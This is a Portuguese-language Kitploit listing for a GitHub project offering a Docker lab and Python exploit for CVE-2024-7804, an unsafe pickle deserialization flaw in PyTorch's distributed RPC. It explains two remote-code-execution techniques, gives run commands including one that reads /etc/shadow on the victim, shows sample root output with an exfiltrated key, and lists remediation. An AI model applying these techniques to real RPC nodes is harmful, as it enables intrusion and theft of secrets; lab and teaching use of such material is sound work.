Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
EXPLOIT-CVE-2024-7804 — # Laboratório Docker + exploit em Python para CVE-2024-7804 (PyTorch torch.distributed.rpc desserialização insegura de pickle RCE, CWE-502, torch <= 2.3.1) | Kitploit
Ferramentas/GitHubGitHub/joaovicdev/exploit-cve-2024-7804
Análise de VulnerabilidadesExploraçãoAprendizado e EducaçãoExploração de BináriosLabs e Prática
GitHubjoaovicdev/exploit-cve-2024-7804

EXPLOIT-CVE-2024-7804

# Laboratório Docker + exploit em Python para CVE-2024-7804 (PyTorch torch.distributed.rpc desserialização insegura de pickle RCE, CWE-502, torch <= 2.3.1)

Ver Repositório
35há 2 mesesAinda não revisado
Compartilhar

CVE-2024-7804 — Desserialização insegura do PyTorch Distributed RPC (RCE)

Laboratório autocontido + exploit para CVE-2024-7804: execução remota de código no framework RPC distribuído do PyTorch (torch.distributed.rpc) através da desserialização insegura de dados não confiáveis (CWE-502).

  • Afetado: torch <= 2.3.1
  • Código vulnerável: torch/distributed/rpc/internal.py — _InternalRPCPickler.deserialize()
  • CVSS 3.0: 9.8 (Crítico)

Nota: este aviso foi posteriormente retirado/rejeitado pelos mantenedores e pela Red Hat como "funcionalidade conhecida" — o RPC do PyTorch é, por design, um sistema de pares confiáveis. O laboratório continua sendo uma demonstração precisa e prática do problema relatado.

A vulnerabilidade

Cada chamada RPC envia uma namedtuple PythonUDF (func, args, kwargs). No nó receptor, ela é reconstruída com um pickle.Unpickler puro, sem lista de permissões e sem verificação de integridade:

# torch/distributed/rpc/internal.py  (torch 2.3.1)
def deserialize(self, binary_data, tensor_table):
    ...
    unpickler = _unpickler(io.BytesIO(binary_data))   # _unpickler = pickle.Unpickler
    ret = unpickler.load()                            # <-- pickle controlado pelo atacante
    ...

Qualquer par que possa entrar no "mundo" RPC pode, portanto, fazer o nó executar código arbitrário — seja por meio de um gadget __reduce__ do pickle que é acionado durante o load(), ou simplesmente nomeando qualquer callable importável como UDF, já que nada restringe o que o nó executará.

Estrutura

CVE-2024-7804/
├── docker-compose.yml   # vítima + atacante em uma única rede bridge
├── lab/
│   ├── Dockerfile       # python:3.11-slim + torch 2.3.1 (CPU) — a imagem vulnerável
│   └── server.py        # vítima: um worker RPC confiante que aguarda pares
└── exploit/
    └── exploit.py       # atacante: entra no mundo e executa RCE na vítima

Requisitos

Docker com o plugin Compose. Apenas CPU (sem GPU), funciona em amd64 e arm64.

Executar

# 1. Inicie o nó vítima vulnerável (rank 0, aguarda um par)
docker compose up --build -d victim

# 2. Dispare o exploit (padrão: executa um comando na vítima e retorna o stdout)
docker compose run --rm attacker

# 3. Encerre tudo
docker compose down

Saída esperada (técnica padrão)

[attacker] ===== saída do comando retornada da vítima =====
uid=0(root) gid=0(root) groups=0(root)
victim
--- segredo exfiltrado ---
CLUSTER_API_KEY=sk-live-9c1f4b7e-DO-NOT-LEAK
[attacker] ===== fim da saída =====

O atacante executou comandos como root na vítima e exfiltrou um arquivo que nunca deveria ter sido exposto.

Duas técnicas no exploit

ComandoO que demonstra
docker compose run --rm attackerEnvia subprocess.check_output como UDF. A vítima executa o comando e retorna o stdout — RCE e exfiltração em uma única chamada.
docker compose run --rm attacker python exploit.py --reduceEnvia um objeto cujo __reduce__ executa os.system enquanto a vítima desserializa o payload — RCE no momento da desserialização (a essência da CWE-502), antes mesmo de a UDF ser chamada.

Comando personalizado:

docker compose run --rm attacker python exploit.py --cmd "cat /etc/shadow"

Para --reduce, o comando é executado na vítima, então observe-o lá:

docker compose run --rm attacker python exploit.py --reduce --cmd "id"
docker compose logs victim        # a saída aparece no log da VÍTIMA

O log da vítima para --reduce termina com um traceback em torch/distributed/rpc/internal.py, linha ~207 (python_udf.func(...)) — prova de que o payload já foi reconstruído e executado pelo unpickler inseguro.

Remediação

  • Atualize além da linha afetada e siga as orientações do PyTorch: execute RPC apenas entre nós mutuamente confiáveis em uma rede confiável.
  • Nunca exponha uma porta de rendezvous RPC (padrão 29500) a redes não confiáveis.
  • Trate qualquer protocolo baseado em pickle como execução de código: autentique e criptografe os pares (ex.: mTLS) e isole os workers RPC.

Aviso legal

Apenas para fins educacionais e testes de segurança autorizados. O laboratório é intencionalmente vulnerável — não o implante e execute o exploit apenas contra este laboratório.

Baixar ferramenta

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 O kit definitivo de OSINT: grafo de investigação, pontuação de confiança, famílias de alias, mapa, linha do tempo e relatórios. 49 módulos, mais de 400 sites, sem necessidade de chaves de API.

    614
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicativo de Execução em Um Toque GhostLock (CVE-2026-43499)

    476
  • 3

    ARTEX

    baarai/artex

    Plataforma autônoma de testes de penetração multiagente com LLM, com agentes planejador/executor, grafos de ativos e de exploração, registro de tráfego MITM e reteste de vulnerabilidades.

    389
  • 4

    redforge

    cybersecurity91/redforge

    Kit de ferramentas de red team do lado do navegador com 102 ferramentas offline para reconhecimento, geração de payloads, ataques a credenciais, criptografia, codificação e relatórios de engajamento.

    334
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    O sistema de ação para cibersegurança nativa em IA—onde a intenção se torna execução governada, a evidência se torna memória operacional, e cada operação melhora a próxima.

    257
  • 6

    antifox

    antifox-ai/antifox

    Plataforma de testes de penetração autónoma com multiagentes de IA que executa reconhecimento, descoberta de superfície de ataque, validação de exploração e entrega de relatórios com evidências.

    247

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →